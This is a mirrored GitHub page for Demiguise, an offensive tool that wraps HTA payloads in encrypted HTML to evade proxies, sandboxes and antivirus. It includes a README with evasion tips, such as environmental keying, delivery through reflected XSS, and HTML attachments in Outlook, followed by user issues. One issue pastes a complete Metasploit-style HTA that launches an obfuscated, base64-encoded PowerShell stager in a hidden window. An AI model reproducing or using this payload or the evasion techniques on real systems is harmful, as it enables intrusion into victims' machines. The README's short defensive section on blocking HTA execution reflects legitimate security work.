Giter VIP home page Giter VIP logo

demiguise's Introduction

Demiguise - HTA encryption tool

Released as open source by NCC Group Plc - http://www.nccgroup.trust/

Developed by Richard Warren, richard [dot] warren [at] nccgroup [dot] trust

http://www.github.com/nccgroup/demiguise

Released under AGPL, see LICENSE for more information

What does it do?

The aim of this project is to generate .html files that contain an encrypted HTA file. The idea is that when your target visits the page, the key is fetched and the HTA is decrypted dynamically within the browser and pushed directly to the user. This is an evasion technique to get round content / file-type inspection implemented by some security-appliances. This tool is not designed to create awesome HTA content. There are many other tools/techniques that can help you with that. What it might help you with is getting your HTA into an environment in the first place, and (if you use environmental keying) to avoid it being sandboxed.

How does it do it?

This is achieved by encrypting the HTA file using RC4, and then using navigator.msSaveBlob to "save" the file at runtime - rather than fetching the HTA directly from the server. Meaning that at no point is there any HTTP request/response that contains your HTA file in a plain-text form - the proxy will simply see a text/html file containing your encrypted blob. In the latest version of Edge, this will result in the user being prompted to "run" the HTA.

Although not the primary aim of this tool, there are a couple of payload-options for the underlying HTA. Each option uses different techniques as previously documented by Matt Nelson, Matthew Demaske, Ryan Hanson and Etienne Stalmans. The benefit of using these techniques is that your code does not execute as a child of mshta.exe. As mentioned previously, the content of the HTA is not the primary aim of this tool. I'd encourage you to modify the HTA template to contain your own custom code :)

How do I run it?

Run the demiguise.py file, giving it your encryption-key, payload-type, output file-name and command that you want the HTA run.

Example: python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta

Environmental Keying

In order to evade sandboxes, you shouldn't embed your key directly in the HTA. Instead you should get this dynamically from the environment the target is based in. An example of this may be to use the client's external IP address as a key. The benefit of this is that if the code is run in a 3rd-party sandbox, the HTA will not decrypt. In fact, the file-name will not even decrypt, meaning that nobody will know what your payload is/does :)

Some examples of environmental keying are given in examples/externalip.js and examples/virginkey.js.

Bonus

Since the tool outputs an HTML file containing JavaScript, you can simply take this JS and host it wherever you like. This means that if your client's website is vulnerable to reflected-XSS, you can use this to serve your HTA file from their (highly trusted) domain.

Also, Outlook doesn't block .html attachments by default , and neither do some other applications - use your imagination! :)

Detection

Currently it is not detected on VT:

https://www.virustotal.com/en/file/24b86ee6210b2abc446021feacfe25502b60403455aa24a32c80b2e7b0f81a70/analysis/1499880541/

Defense

Although obfuscation techniques may be hard to signature, one way to defend against HTA attacks is to prevent the HTA itself from being able to run in the first place. This can be achieved either through the use of Software Restriction Policy (SRP), Device Guard (on Windows 10 and Server 2016), or by changing the default file-handler associated with .hta files.

Please note that these changes may potentially affect the running of software that relies on HTA execution. Therefore it is recommended that a fix is fully tested in your own environment.

Using SRP:

Changing the default file-handler:

ftype htafile=%SystemRoot%\system32\NOTEPAD.EXE %1

Changing it back (x64):

ftype htafile=C:\Windows\SysWOW64\mshta.exe "%1" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}%U{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} %*

FAQ

  • Doesn't this drop to disk?
    • Testing in the latest version of Edge, this only "drops to disk" in the same way that serving a regular HTA does. It's going to end up as a temp file on disk either way.
  • Why would I use this when I already have a sandbox detection for $product by checking for domain joined status / printers etc.?
    • The aim of the tool is to avoid being executed in a sandbox in the first place. If you pick your keys wisely, the HTA will not even decrypt correctly, nor will $product know it's an HTA file - meaning it cannot be executed by the sandbox.
  • How do I find an environmental key source without first having access to the target network?
    • This is left as an exercise for the reader, however this can often be discovered with some good OSINT. If you are carrying out fingerprinting campaigns, check out WebFEET and BeEF for some inspiration.

Greetz / Prior Art

demiguise's People

Contributors

bob-bobsen avatar rxwx avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

demiguise's Issues

error with HTA file if downloaded but not if wrote and executed on the victim machine

Hello,
when the HTA file runs, an error appears and the script is not executed.

I tried with my own HTA file, and the issue still remains the same.

The OS I used to test Windows 7 and 10, and the web browser is FireFox Quantum and IE explorer.

However, in most cases, if i open the HTA file with a text editor and then save it (just that !!), the script works ...

Do you have an idea about some restrictions that can appened if the HTA file is downloaded, but not occured if the file is directly wrote on the victim machine?

hello nccgroup

i was wondering where i can find "encryption-key"

i have created an HTA file with metasploit
i'll get into the file and send u a text tell me where's the key

<script %00 > bBtJkQXBJybam=ActiveXObject; jqaan="WScript" lRqbK=jqaan + ".Shell" PnyyR=new bBtJkQXBJybam(lRqbK); var0='aQBmACgAWw';var1=var0+'BJAG4AdABQ';var2=var1+'AHQAcgBdAD';var3=var2+'oAOgBTAGkA';var4=var3+'egBlACAALQ';var5=var4+'BlAHEAIAA0';var6=var5+'ACkAewAkAG';var7=var6+'kAbAB4AE8A';var8=var7+'ZABxAHkAbw';var9=var8+'BjAGEAVgBD';var10=var9+'AHcAZQBvAE';var11=var10+'IAcgBIAGoA';var12=var11+'bABwAGgAdw';var13=var12+'BYAHUAagBV';var14=var13+'AHoAbQBMAF';var15=var14+'kAQgBiAFkA';var16=var15+'TAA9ACcAcA';var17=var16+'BvAHcAZQBy';var18=var17+'AHMAaABlAG';var19=var18+'wAbAAuAGUA';var20=var19+'eABlACcAfQ';var21=var20+'BlAGwAcwBl';var22=var21+'AHsAJABpAG';var23=var22+'wAeABPAGQA';var24=var23+'cQB5AG8AYw';var25=var24+'BhAFYAQwB3';var26=var25+'AGUAbwBCAH';var27=var26+'IASABqAGwA';var28=var27+'cABoAHcAWA';var29=var28+'B1AGoAVQB6';var30=var29+'AG0ATABZAE';var31=var30+'IAYgBZAEwA';var32=var31+'PQAkAGUAbg';var33=var32+'B2ADoAdwBp';var34=var33+'AG4AZABpAH';var35=var34+'IAKwAnAFwA';var36=var35+'cwB5AHMAdw';var37=var36+'BvAHcANgA0';var38=var37+'AFwAVwBpAG';var39=var38+'4AZABvAHcA';var40=var39+'cwBQAG8Adw';var41=var40+'BlAHIAUwBo';var42=var41+'AGUAbABsAF';var43=var42+'wAdgAxAC4A';var44=var43+'MABcAHAAbw';var45=var44+'B3AGUAcgBz';var46=var45+'AGgAZQBsAG';var47=var46+'wALgBlAHgA';var48=var47+'ZQAnAH0AOw';var49=var48+'AkAEkAWgBk';var50=var49+'AHgAZgBYAE';var51=var50+'4ATABZAFAA';var52=var51+'ZgBUAEoAZA';var53=var52+'BGAGMAWQA9';var54=var53+'AE4AZQB3AC';var55=var54+'0ATwBiAGoA';var56=var55+'ZQBjAHQAIA';var57=var56+'BTAHkAcwB0';var58=var57+'AGUAbQAuAE';var59=var58+'QAaQBhAGcA';var60=var59+'bgBvAHMAdA';var61=var60+'BpAGMAcwAu';var62=var61+'AFAAcgBvAG';var63=var62+'MAZQBzAHMA';var64=var63+'UwB0AGEAcg';var65=var64+'B0AEkAbgBm';var66=var65+'AG8AOwAkAE';var67=var66+'kAWgBkAHgA';var68=var67+'ZgBYAE4ATA';var69=var68+'BZAFAAZgBU';var70=var69+'AEoAZABGAG';var71=var70+'MAWQAuAEYA';var72=var71+'aQBsAGUATg';var73=var72+'BhAG0AZQA9';var74=var73+'ACQAaQBsAH';var75=var74+'gATwBkAHEA';var76=var75+'eQBvAGMAYQ';var77=var76+'BWAEMAdwBl';var78=var77+'AG8AQgByAE';var79=var78+'gAagBsAHAA';var80=var79+'aAB3AFgAdQ';var81=var80+'BqAFUAegBt';var82=var81+'AEwAWQBCAG';var83=var82+'IAWQBMADsA';var84=var83+'JABJAFoAZA';var85=var84+'B4AGYAWABO';var86=var85+'AEwAWQBQAG';var87=var86+'YAVABKAGQA';var88=var87+'RgBjAFkALg';var89=var88+'BBAHIAZwB1';var90=var89+'AG0AZQBuAH';var91=var90+'QAcwA9ACcA';var92=var91+'LQBuAG8AcA';var93=var92+'AgAC0AdwAg';var94=var93+'AGgAaQBkAG';var95=var94+'QAZQBuACAA';var96=var95+'LQBjACAAJg';var97=var96+'AoAFsAcwBj';var98=var97+'AHIAaQBwAH';var99=var98+'QAYgBsAG8A';var100=var99+'YwBrAF0AOg';var101=var100+'A6AGMAcgBl';var102=var101+'AGEAdABlAC';var103=var102+'gAKABOAGUA';var104=var103+'dwAtAE8AYg';var105=var104+'BqAGUAYwB0';var106=var105+'ACAAUwB5AH';var107=var106+'MAdABlAG0A';var108=var107+'LgBJAE8ALg';var109=var108+'BTAHQAcgBl';var110=var109+'AGEAbQBSAG';var111=var110+'UAYQBkAGUA';var112=var111+'cgAoAE4AZQ';var113=var112+'B3AC0ATwBi';var114=var113+'AGoAZQBjAH';var115=var114+'QAIABTAHkA';var116=var115+'cwB0AGUAbQ';var117=var116+'AuAEkATwAu';var118=var117+'AEMAbwBtAH';var119=var118+'AAcgBlAHMA';var120=var119+'cwBpAG8Abg';var121=var120+'AuAEcAegBp';var122=var121+'AHAAUwB0AH';var123=var122+'IAZQBhAG0A';var124=var123+'KAAoAE4AZQ';var125=var124+'B3AC0ATwBi';var126=var125+'AGoAZQBjAH';var127=var126+'QAIABTAHkA';var128=var127+'cwB0AGUAbQ';var129=var128+'AuAEkATwAu';var130=var129+'AE0AZQBtAG';var131=var130+'8AcgB5AFMA';var132=var131+'dAByAGUAYQ';var133=var132+'BtACgALABb';var134=var133+'AFMAeQBzAH';var135=var134+'QAZQBtAC4A';var136=var135+'QwBvAG4Adg';var137=var136+'BlAHIAdABd';var138=var137+'ADoAOgBGAH';var139=var138+'IAbwBtAEIA';var140=var139+'YQBzAGUANg';var141=var140+'A0AFMAdABy';var142=var141+'AGkAbgBnAC';var143=var142+'gAJwAnAEgA';var144=var143+'NABzAEkAQQ';var145=var144+'BNAFEAZgBj';var146=var145+'AGwAMABDAE';var147=var146+'EANwBWAFcA';var148=var147+'KwAyAC8AYQ';var149=var148+'BTAEIARAAr';var150=var149+'AE8AWgBIAH';var151=var150+'kAUAAxAGcA';var152=var151+'VgBrAG0AMg';var153=var152+'BGAFkAQQBn';var154=var153+'ADAAYQBTAE';var155=var154+'4AVgB1AGoA';var156=var155+'VgBQAFUANQ';var157=var156+'B4AEEASABB';var158=var157+'AGkARQBvAH';var159=var158+'QAUABHAFgA';var160=var159+'dAB0AEwAMQ';var161=var160+'BqAGEAcwAx';var162=var161+'ADcAeAA2AC';var163=var162+'8AZAA5AHYA';var164=var163+'RABIAGEAYQ';var165=var164+'BLAHUAbABk';var166=var165+'AGUAOQBKAF';var167=var166+'oAUABQAFkA';var168=var167+'eABNAHoAdg';var169=var168+'B6AHoAVABl';var170=var169+'AHoAZABwAF';var171=var170+'AAUQBGAGoA';var172=var171+'UQBLAEoAZg';var173=var172+'ArADkAMgBa';var174=var173+'AE8AKwBuAG';var175=var174+'gAdwBmADkA';var176=var175+'VABIAEgAZw';var177=var176+'BhAFEAVQBk';var178=var177+'AG8AMgBpAF';var179=var178+'YATwBCADIA';var180=var179+'UQB6ADAANg';var181=var180+'BnAHQAVwBD';var182=var181+'AE8ANQBZAC';var183=var182+'sAUwBjAG8A';var184=var183+'VQBMAFIAYQ';var185=var184+'BOAEsATQBB';var186=var185+'ADAAbgBGAD';var187=var186+'EAZAAxAFIA';var188=var187+'UABPAFMAUw';var189=var188+'BnAE8AOAAx';var190=var189+'AEsAYgBDAE';var191=var190+'IAVABIAEoA';var192=var191+'SABoAGsAbA';var193=var192+'BNAFMASwBL';var194=var193+'AHYAMABsAD';var195=var194+'MAZgB1AEUA';var196=var195+'awA3AE8AYg';var197=var196+'B4AHoAbQB4';var198=var197+'AGgAZgBSAF';var199=var198+'YASwB2AHgA';var200=var199+'WgBhAHIAUA';var201=var200+'BvAEUAYgBO';var202=var201+'AE0AYgBGAH';var203=var202+'YASAB0AGsA';var204=var203+'KwBrAE0AeA';var205=var204+'BRADYANgBW';var206=var205+'ADQAdgBzAG';var207=var206+'4ASABxAFMA';var208=var207+'YwBsAGEATQ';var209=var208+'BDAG8AVQAr';var210=var209+'AGMAcwBYAF';var211=var210+'cAWgAyAGUA';var212=var211+'VgBXAGEAbA';var213=var212+'A1AGoATABC';var214=var213+'AEwARgBaAG';var215=var214+'sAYQB4AHMA';var216=var215+'TABFAHAAUQ';var217=var216+'BjAHgAbQBS';var218=var217+'AFYAKwBxAG';var219=var218+'EAbQBCADkA';var220=var219+'NQB0AEYAMA';var221=var220+'BTAFIAVABX';var222=var221+'AHIAegBLAE';var223=var222+'kANQBjAFUA';var224=var223+'YgBxAG4AWQ';var225=var224+'BmAFcAOABO';var226=var225+'AEEAeABqAD';var227=var226+'cASgBKAHIA';var228=var227+'cwBMAFkAaQ';var229=var228+'BKAGgARgAr';var230=var229+'ADUATQBTAH';var231=var230+'kAQwBqAEgA';var232=var231+'QQBoAHgATw';var233=var232+'BSADgARgBD';var234=var233+'AEMAYQBGAE';var235=var234+'wAMQB3ADYA';var236=var235+'WQBpAHcANw';var237=var236+'BEAFAASQB4';var238=var237+'AHMANQBEAG';var239=var238+'kAZAB4AEwA';var240=var239+'QgBlAGwAYQ';var241=var240+'BXAHAANABP';var242=var241+'AHAAdgA5AG';var243=var242+'8AVQB5AHoA';var244=var243+'VQAyACsAVA';var245=var244+'BVAE4AQwBB';var246=var245+'AGwASQB4AF';var247=var246+'EARQBCADQA';var248=var247+'dABMAE0ASg';var249=var248+'BYADEAQwBa';var250=var249+'AHgAcQBZAE';var251=var250+'4ARABoADUA';var252=var251+'RgBiADQAcw';var253=var252+'A1AEEAeQB4';var254=var253+'AEsAYwBoAH';var255=var254+'QANQBNAFYA';var256=var255+'VQBGAHMARg';var257=var256+'BUADAAUgBw';var258=var257+'AFIAQQBtAG';var259=var258+'oAQgBXAGwA';var260=var259+'MwB6AEcAag';var261=var260+'BYAEoATgAx';var262=var261+'AGoAdABtAH';var263=var262+'YASwBpAGsA';var264=var263+'dgBsAFUAQw';var265=var264+'BxAEwANwBo';var266=var265+'AGEAaABCAF';var267=var266+'MAKwBpAHQA';var268=var267+'SwBNAG4ASQ';var269=var268+'BTAFIAZwA1';var270=var269+'ADcAOABoAH';var271=var270+'AAdQBRAGQA';var272=var271+'QgBXAGUATA';var273=var272+'BQAEcAQQAy';var274=var273+'AGIAZQBUAD';var275=var274+'QANQBOAGoA';var276=var275+'TgArAGQASQ';var277=var276+'B1AEsAeQAv';var278=var277+'AHAAQQBpAE';var279=var278+'0AagBxAGIA';var280=var279+'NwBNAFEASA';var281=var280+'BIAGwASAA0';var282=var281+'AFUAMAA3AD';var283=var282+'MAWQBKADYA';var284=var283+'bABjAGwARQ';var285=var284+'B3ADQAQgBJ';var286=var285+'AHUASQBiAD';var287=var286+'IARgBhAHUA';var288=var287+'TwBNAEoAVQ';var289=var288+'BXAGYAUABz';var290=var289+'AEUAcQBGAF';var291=var290+'QAYQAvADQA';var292=var291+'YwArADEASw';var293=var292+'BMAGcAcQBD';var294=var293+'AHkAMgBGAH';var295=var294+'YAQQBVAHYA';var296=var295+'VABVAFUAUw';var297=var296+'BkAEcAYQBo';var298=var297+'AGsAZQBTAH';var299=var298+'gAcwBMAHYA';var300=var299+'NABNADkAeA';var301=var300+'BzAC8ASgAy';var302=var301+'AFMARAB1AE';var303=var302+'QAUQBrAGoA';var304=var303+'VwAyAEkAQQ';var305=var304+'AyAHIAbgBu';var306=var305+'AEYAUABlAH';var307=var306+'cAcABlADQA';var308=var307+'agBPAHcAag';var309=var308+'BMAE8AVgBp';var310=var309+'ADEAKwBDAF';var311=var310+'YASQBtAGMA';var312=var311+'YgB4AEcAaw';var313=var312+'BRAFIAagB3';var314=var313+'AHMAVQBzAH';var315=var314+'oAUwBOAEwA';var316=var315+'OQBTAGEAdw';var317=var316+'BaAFUAUABP';var318=var317+'AHYAcQBDAF';var319=var318+'cAVQBPADQA';var320=var319+'YwBpAEcASA';var321=var320+'BNAFgAZwBG';var322=var321+'AGEAUgBQAC';var323=var322+'8AZABHAFoA';var324=var323+'UQB4AG8AVQ';var325=var324+'AyAFEAaABO';var326=var325+'AEUAZwBCAE';var327=var326+'UAaAB6AG4A';var328=var327+'dwByAHUAQQ';var329=var328+'BDADAAMABr';var330=var329+'AHUAbgBiAE';var331=var330+'YANwBtADUA';var332=var331+'KwBlAHoAaw';var333=var332+'BGAEkAcgBq';var334=var333+'AE0AYwB4AD';var335=var334+'AAVwBwAG4A';var336=var335+'MABDAHAAMg';var337=var336+'BVAFgASgBJ';var338=var337+'AHAAZwBSAH';var339=var338+'AAeQBpAGgA';var340=var339+'TQBLAGIAWg';var341=var340+'BGAGsAcABF';var342=var341+'AHQAQgAvAE';var343=var342+'sAMwA5ADAA';var344=var343+'MQBFAHkAYQ';var345=var344+'BvAGoAVwBP';var346=var345+'AFIAbQA1AH';var347=var346+'UAcAB6ADAA';var348=var347+'QgBtAEIAOQ';var349=var348+'BhAGoATQBC';var350=var349+'AFkAOABzAF';var351=var350+'MARgB0AEUA';var352=var351+'UAB5AGQAdA';var353=var352+'BTAEEAMgB4';var354=var353+'AFMAegBGAG';var355=var354+'8AaQBoADEA';var356=var355+'cQBFAFAAMA';var357=var356+'ByAFUAVwA5';var358=var357+'AC8ARwBEAD';var359=var358+'UAVABTAFQA';var360=var359+'cQBtAEQARw';var361=var360+'BvAEEAYgBD';var362=var361+'ADAAZwBrAH';var363=var362+'oAQQBTAG8A';var364=var363+'cQBBAEoAVg';var365=var364+'BJAHkAYwBQ';var366=var365+'AEEAUgBFAH';var367=var366+'EAKwBXAEwA';var368=var367+'QwBLAE0AWQ';var369=var368+'BNAEYASQBB';var370=var369+'AEIATAA3AG';var371=var370+'sAbQA4AHgA';var372=var371+'NwBFAEcAQg';var373=var372+'BaAHoAegBm';var374=var373+'AGMAdwBkAD';var375=var374+'cAeABKAEYA';var376=var375+'ZgBPAFoAaA';var377=var376+'BUACsAYwBE';var378=var377+'AGIARgBJAH';var379=var378+'MAYwBoAEIA';var380=var379+'ZgB1AFEAWQ';var381=var380+'BJAHQARgBv';var382=var381+'AG0AaQBOAE';var383=var382+'sASgBjAFEA';var384=var383+'TwB0AEkAYw';var385=var384+'BVADEAcAA5';var386=var385+'AEYAOQBPAG';var387=var386+'YAOQBFAHkA';var388=var387+'RABuADcAVQ';var389=var388+'BPAGMAawB5';var390=var389+'AG8AZQBUAG';var391=var390+'wATQBkAFcA';var392=var391+'MwBJAG0AVg';var393=var392+'AxAEkAVABB';var394=var393+'AHUAeAByAH';var395=var394+'UAVQBrAHgA';var396=var395+'awBzAGUAeA';var397=var396+'BDADQAQQBB';var398=var397+'AEIAYQBQAE';var399=var398+'EAcAAwAEgA';var400=var399+'SgBPAEwAMg';var401=var400+'BxAEYARgBL';var402=var401+'AE8AKwAwAE';var403=var402+'cAMQBwAEgA';var404=var403+'OABFAHkATQ';var405=var404+'BrAEoAbQAy';var406=var405+'AC8AawBRAH';var407=var406+'IAYQBFADAA';var408=var407+'cgBoAGcAbg';var409=var408+'BmAEkAYQAw';var410=var409+'AGEAVQBlAF';var411=var410+'AAUwArAGQA';var412=var411+'eQBkAGQAeg';var413=var412+'BUAGUAMgBQ';var414=var413+'AGcAdQBNAG';var415=var414+'0ATABEADcA';var416=var415+'UABRAGIAZw';var417=var416+'AwADYAbgB0';var418=var417+'AHUAcABhAG';var419=var418+'8ANQBxAHcA';var420=var419+'bQBvAGIANA';var421=var420+'AzAEQAZQBF';var422=var421+'ADIAUgB6AF';var423=var422+'AANQB4AGIA';var424=var423+'cQAzAEEANA';var425=var424+'BuADQAcwBG';var426=var425+'AEEAbgBUAH';var427=var426+'QAYQBmAHAA';var428=var427+'cgBVAGQAbw';var429=var428+'BzAHUAMwBW';var430=var429+'AGsAOQA1AE';var431=var430+'UAdwAyADIA';var432=var431+'cwBWAE8AMw';var433=var432+'A2ADMATAAr';var434=var433+'AG0AWQAzAD';var435=var434+'kAeAB4ADMA';var436=var435+'MABuAEIAZA';var437=var436+'A3ADkASwAx';var438=var437+'AGIAaQB2AH';var439=var438+'YAVwA3AFIA';var440=var439+'MwBYAHgALw';var441=var440+'BvADUAWABQ';var442=var441+'AGMAYQB6AF';var443=var442+'MAVAAzAHIA';var444=var443+'MgArADEAcw';var445=var444+'B1ADEAdQBF';var446=var445+'AG4AWABuAF';var447=var446+'EARQBkAEQA';var448=var447+'cAA2ADYATA';var449=var448+'BmAEUANABH';var450=var449+'AFQARQA4AG';var451=var450+'QARABWAHYA';var452=var451+'WABQAG0ASQ';var453=var452+'A2AGEAYgBI';var454=var453+'ADUANgBOAE';var455=var454+'sAWgBPADQA';var456=var455+'TQBoAE4AcA';var457=var456+'ArADEAZAA1';var458=var457+'ADEAMwBWAE';var459=var458+'gAYgBOADUA';var460=var459+'MwB0AHAARQ';var461=var460+'BQAEoAWABD';var462=var461+'AHYAMwA2AE';var463=var462+'EAQQBOAEUA';var464=var463+'UABwAHMAMw';var465=var464+'B3ADYASABi';var466=var465+'AFcALwBoAH';var467=var466+'QAVwBPAGsA';var468=var467+'ZgBSAHcAdA';var469=var468+'A2ADgARQBj';var470=var469+'AEwAVgBIAH';var471=var470+'IARwBpAE0A';var472=var471+'RABOAFUAZg';var473=var472+'BiADcAbgB1';var474=var473+'AG0ARAA0AF';var475=var474+'kAdABIAFEA';var476=var475+'MgBiACsAZw';var477=var476+'BEAGYAUgBQ';var478=var477+'ADMAcQBhAF';var479=var478+'UATwByAFAA';var480=var479+'RABqAEwAWg';var481=var480+'B1AHQAaABq';var482=var481+'AEwAcwBCAG';var483=var482+'MAOQBvAGQA';var484=var483+'cgBUAEkAWg';var485=var484+'BJAHcAZAB4';var486=var485+'ADcAYwA3AH';var487=var486+'oASwA1AGMA';var488=var487+'MwBmAHAAag';var489=var488+'BpAGgARAAx';var490=var489+'ADkAcQBhAG';var491=var490+'MAeQBxAFAA';var492=var491+'ZQB3AGIAVw';var493=var492+'BrAGcAMAA2';var494=var493+'ACsAaABUAH';var495=var494+'UAMgBjADcA';var496=var495+'aAA2AFcAZw';var497=var496+'A3AGEASABt';var498=var497+'AGkAQQB6AE';var499=var498+'MAaQBLAEUA';var500=var499+'VwAvAFIAcA';var501=var500+'BlAEQAbwBH';var502=var501+'AG0AOQBkAD';var503=var502+'MAbwBIAE0A';var504=var503+'LwByAEQAZw';var505=var504+'BSAEUAcQBF';var506=var505+'AHgAMQByAF';var507=var506+'MAUgBwADMA';var508=var507+'bgBJAHQAZg';var509=var508+'B3AEoAUgBq';var510=var509+'AHAASQA2AC';var511=var510+'sAQwBXAEgA';var512=var511+'dABXADMASA';var513=var512+'AvAHAAbQBY';var514=var513+'AHgAdQBOAH';var515=var514+'oAdgAzAEsA';var516=var515+'NAAxAFAARg';var517=var516+'BCADUALwBK';var518=var517+'AGUAUABYAE';var519=var518+'IANwBLAEwA';var520=var519+'VABsAHQAMw';var521=var520+'BYAE4ATwAw';var522=var521+'ADAAZQBJAF';var523=var522+'IAZgBEAGQA';var524=var523+'bgBtAFkAaA';var525=var524+'BPAE8AOQBm';var526=var525+'AFgAbABhAG';var527=var526+'kAMQB3ADkA';var528=var527+'eAA1AHMAMw';var529=var528+'AyAGsAZgBo';var530=var529+'ADUALwBlAH';var531=var530+'AAUwB3AEIA';var532=var531+'bQBoAFIANA';var533=var532+'A3AFUAWABt';var534=var533+'AGYAOQBhAH';var535=var534+'gAVABjAHgA';var536=var535+'agBIAHoATg';var537=var536+'BnAEIARABU';var538=var537+'AGoAdgBBAD';var539=var538+'UAYgBFAFcA';var540=var539+'OQBsAEgAYg';var541=var540+'BZAGYAMABW';var542=var541+'AFIARABVAG';var543=var542+'YAYQAzADgA';var544=var543+'UgBQAGgASQ';var545=var544+'BXAEYAdwBv';var546=var545+'AGMARwBWAG';var547=var546+'wANQBNAFoA';var548=var547+'TQBSAGIAWg';var549=var548+'BhAFgATgBQ';var550=var549+'AGUAegBIAG';var551=var550+'MASwA0AGQA';var552=var551+'dQBuADEANA';var553=var552+'ArAFEAeABo';var554=var553+'AFcAegA5AD';var555=var554+'gAYwBxAGQA';var556=var555+'SwB6AG8AUA';var557=var556+'BxADkANgAr';var558=var557+'AGQATABWAD';var559=var558+'EAYwBQADQA';var560=var559+'QwBSAFUAeA';var561=var560+'A1ADYALwBw';var562=var561+'AFIANABKAF';var563=var562+'AAZQBFAFgA';var564=var563+'eQA1AHQAcQ';var565=var564+'B1AFEAeAA5';var566=var565+'AHYATAB5AH';var567=var566+'AAbABTAEgA';var568=var567+'RwBYADQAKw';var569=var568+'BzAEgAaQAy';var570=var569+'ADIAeQBzAE';var571=var570+'YAVwBNAGIA';var572=var571+'MABJAEEASg';var573=var572+'BsAG4AMgAy';var574=var573+'AHgAdgBXAD';var575=var574+'AAMgByAHAA';var576=var575+'awBEAFgANw';var577=var576+'BRAC8AVgAv';var578=var577+'AHgAZQB6AH';var579=var578+'IARgBoADkA';var580=var579+'KwBIAFAAKw';var581=var580+'BCAGIAUAB2';var582=var581+'AGEALwArAH';var583=var582+'cAKwAwAHMA';var584=var583+'NABsAG8AdA';var585=var584+'BwAHgASwA4';var586=var585+'AFcAZgAxAH';var587=var586+'oANABMAFUA';var588=var587+'UgAvAE8AKw';var589=var588+'A1ADcAVABB';var590=var589+'AFYASQBXAH';var591=var590+'QAQgBwAEcA';var592=var591+'RABuAGMAZA';var593=var592+'BXACsARwBu';var594=var593+'ADcASABqAH';var595=var594+'gAWQB2AEEA';var596=var595+'UABpAG0AUQ';var597=var596+'BlAHoAZAA3';var598=var597+'ADAAdABlAD';var599=var598+'QAbQAwAFMA';var600=var599+'YwBYAGMATQ';var601=var600+'BMAHcAcwBu';var602=var601+'AHgAMwA5AG';var603=var602+'0AcwBxAEoA';var604=var603+'NAB0AEMAZw';var605=var604+'BBAEEAJwAn';var606=var605+'ACkAKQApAC';var607=var606+'wAWwBTAHkA';var608=var607+'cwB0AGUAbQ';var609=var608+'AuAEkATwAu';var610=var609+'AEMAbwBtAH';var611=var610+'AAcgBlAHMA';var612=var611+'cwBpAG8Abg';var613=var612+'AuAEMAbwBt';var614=var613+'AHAAcgBlAH';var615=var614+'MAcwBpAG8A';var616=var615+'bgBNAG8AZA';var617=var616+'BlAF0AOgA6';var618=var617+'AEQAZQBjAG';var619=var618+'8AbQBwAHIA';var620=var619+'ZQBzAHMAKQ';var621=var620+'ApACkALgBS';var622=var621+'AGUAYQBkAF';var623=var622+'QAbwBFAG4A';var624=var623+'ZAAoACkAKQ';var625=var624+'ApACcAOwAk';var626=var625+'AEkAWgBkAH';var627=var626+'gAZgBYAE4A';var628=var627+'TABZAFAAZg';var629=var628+'BUAEoAZABG';var630=var629+'AGMAWQAuAF';var631=var630+'UAcwBlAFMA';var632=var631+'aABlAGwAbA';var633=var632+'BFAHgAZQBj';var634=var633+'AHUAdABlAD';var635=var634+'0AJABmAGEA';var636=var635+'bABzAGUAOw';var637=var636+'AkAEkAWgBk';var638=var637+'AHgAZgBYAE';var639=var638+'4ATABZAFAA';var640=var639+'ZgBUAEoAZA';var641=var640+'BGAGMAWQAu';var642=var641+'AFIAZQBkAG';var643=var642+'kAcgBlAGMA';var644=var643+'dABTAHQAYQ';var645=var644+'BuAGQAYQBy';var646=var645+'AGQATwB1AH';var647=var646+'QAcAB1AHQA';var648=var647+'PQAkAHQAcg';var649=var648+'B1AGUAOwAk';var650=var649+'AEkAWgBkAH';var651=var650+'gAZgBYAE4A';var652=var651+'TABZAFAAZg';var653=var652+'BUAEoAZABG';var654=var653+'AGMAWQAuAF';var655=var654+'cAaQBuAGQA';var656=var655+'bwB3AFMAdA';var657=var656+'B5AGwAZQA9';var658=var657+'ACcASABpAG';var659=var658+'QAZABlAG4A';var660=var659+'JwA7ACQASQ';var661=var660+'BaAGQAeABm';var662=var661+'AFgATgBMAF';var663=var662+'kAUABmAFQA';var664=var663+'SgBkAEYAYw';var665=var664+'BZAC4AQwBy';var666=var665+'AGUAYQB0AG';var667=var666+'UATgBvAFcA';var668=var667+'aQBuAGQAbw';var669=var668+'B3AD0AJAB0';var670=var669+'AHIAdQBlAD';var671=var670+'sAJABlAGcA';var672=var671+'PQBbAFMAeQ';var673=var672+'BzAHQAZQBt';var674=var673+'AC4ARABpAG';var675=var674+'EAZwBuAG8A';var676=var675+'cwB0AGkAYw';var677=var676+'BzAC4AUABy';var678=var677+'AG8AYwBlAH';var679=var678+'MAcwBdADoA';var680=var679+'OgBTAHQAYQ';var681=var680+'ByAHQAKAAk';var682=var681+'AEkAWgBkAH';var683=var682+'gAZgBYAE4A';var684=var683+'TABZAFAAZg';var685=var684+'BUAEoAZABG';var686=var685+'AGMAWQApAD';var687=var686+'sA'; PnyyR.run('%windir%\\System32\\cmd.exe /c'+ 'yuhell.exe -nop -w hidden -e ' + var687 , 0);window.close(); </script %00 >

hta not working as expected

Not working as expected, generate hta using following command

python demiguise.py -k hello -c "cmd.exe /c calc.exe" -p ShellBrowserWindow -o test.hta

